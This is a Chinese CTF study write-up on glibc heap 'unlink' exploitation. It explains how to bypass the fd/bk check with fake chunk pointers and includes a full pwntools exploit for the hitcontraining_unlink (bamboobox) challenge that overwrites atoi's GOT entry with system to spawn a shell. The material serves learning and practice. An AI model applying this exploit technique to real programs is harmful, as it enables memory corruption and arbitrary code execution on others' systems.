unlink学习总结
学习于:
好好说话之unlink_unlink 操作什么时候发生-CSDN博客关于unlink的学习总结 | ZIKH26's Blog
https://bbs.kanxue.com/thread-273402.htm
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
首先就要搞懂unlink是什么,怎么构造unlink链,相关题目的思路和wp是什么,unlink用于将某一个空闲 chunk 从其所处的双向链表中脱链,我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针的效果。
一:unlink是什么
首先我们可以翻看glibc源码(2.23)来看看执行了什么操作,如下

首先执行这一段,FD!=P->fd是不是就等于*(FD+0x18)!=P,这样理解后面的构造就更好懂了

首先FD和BK都是通过P来寻找的, 我们要如何绕过这个检查呢,我们可以用一副图来更好的理解(64位为例子):

可以发现满足这个式子就可以做到
P->fd->bk == P <=> *(P->fd + 0x18) == P p->bk->fd == P <=> *(p->bk + 0x10) == P
那我们就将P的fd和bk改成下面就可以了,&P和P是不一样的,&P是指向P的地址,P就是P,如果&P是一个chunk的起始地址那么它就会被bss段记录下来
P->fd = &P - 0x18 P->bk = &P - 0x10
修改后如下图,就可以绕过if检查了

绕过之后执行
FD->bk = BK; BK->fd = FD;
带入刚刚的,那么等价于
P=&P-0x10 P=&P-0x18
所以最后P=&P-0x18。
二:怎么构造unlink链
首先我们要修改fd,那么至少需要堆溢出或者uaf之类的漏洞来伪造fake_chunk,通常申请两个堆块,在第一个chunk中伪造fake_chunk,再通过漏洞修改第二个chunk的prev_size=fake_chunk_size, PREV_INUSE = 0,再释放第二个chunk,完成后fake_chunk就会指向&fake_chunk-0x10,那我们是不是就控制了从&fake_chunk-0x10到&fake_chunk的地址,如果可以写,那我们就可以修改这一段地址了,相当于任意写。
三:例题训练(例题出处均来自ZIKH26师傅)
hitcontraining_unlink
首先检查保护机制,没有开pie,拖入ida中进行分析

change函数有溢出,没检查输入数据是否超过chunk大小

在ida里面寻找到bss段存放指针的地址是何地址

利用print打印函数地址来进行利用unlink,则思路就是伪造一个fake_chunk,然后free掉一个chunk,触发unlink,让fake_chunk的地址改为&p-0x18,此时往fake_chunk中写入数据,就相当于往bss段上写入数据,写入atoi函数的got表的地址,然后执行show函数泄露真实地址,再执行change函数,修改atoi函数的got表为system地址,最后输入/bin/sh获取shell。
from pwn import *
file_name = './bamboobox'
#io = process(file_name)
libc = ELF('./libc-2.23.so')
io = remote('node5.buuoj.cn',27355)
elf = ELF(file_name)
context(arch = elf.arch,log_level = 'debug',os = 'linux')
def ml_gdb():
gdb.attach(io)
pause(1)
def show():
io.recvuntil("Your choice:")
io.send('1')
def add(length,name):
io.recvuntil("Your choice:")
io.sendline('2')
io.recvuntil("Please enter the length of item name:")
io.sendline(str(length))
io.recvuntil("Please enter the name of item:")
io.sendline(name)
def edit(index,lenth,context):
io.recvuntil('Your choice:')
io.send('3')
io.recvuntil('Please enter the index of item:')
io.send(str(index))
io.recvuntil('Please enter the length of item name:')
io.send(str(lenth))
io.recvuntil('Please enter the new name of the item:')
io.send(context)
def delete(index):
io.recvuntil('Your choice:')
io.send('4')
io.recvuntil('Please enter the index of item:')
io.send(str(index))
add(0x20,b'aaaaaaa')
add(0x80,b'bbbbbbb')
add(0x80,b'cccccccc')
#ml_gdb()
ptr = 0x6020C8 #存放chunk指针的数组在bss段上的地址
fake_chunk = p64(0)+p64(0x21) #fake_chunk header
fake_chunk += p64(ptr-0x18)+p64(ptr-0x10) #fake_chunk fd bk
fake_chunk += p64(0x20) # 1的presize
fake_chunk += p64(0x90) # 1的size
edit(0,0x80,fake_chunk)
delete(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(elf.got['atoi']) #覆盖为atoi_got
edit(0,0x80,payload)
show()
atoi_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("atoi_addr :",hex(atoi_addr))
'''
libc_base = atoi_addr - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
edit(0,8,p64(system))
io.sendlineafter('Your choice:','/bin/sh\x00')
'''
libc_base = atoi_addr - 0x036e80
system_addr = libc_base + 0x045390
edit(0,0x10,p64(system_addr))
io.recvuntil('Your choice:')
io.send('/bin/sh\x00')
io.interactive()
例题等我补充ovo,如有问题请联系我。

浙公网安备 33010602011771号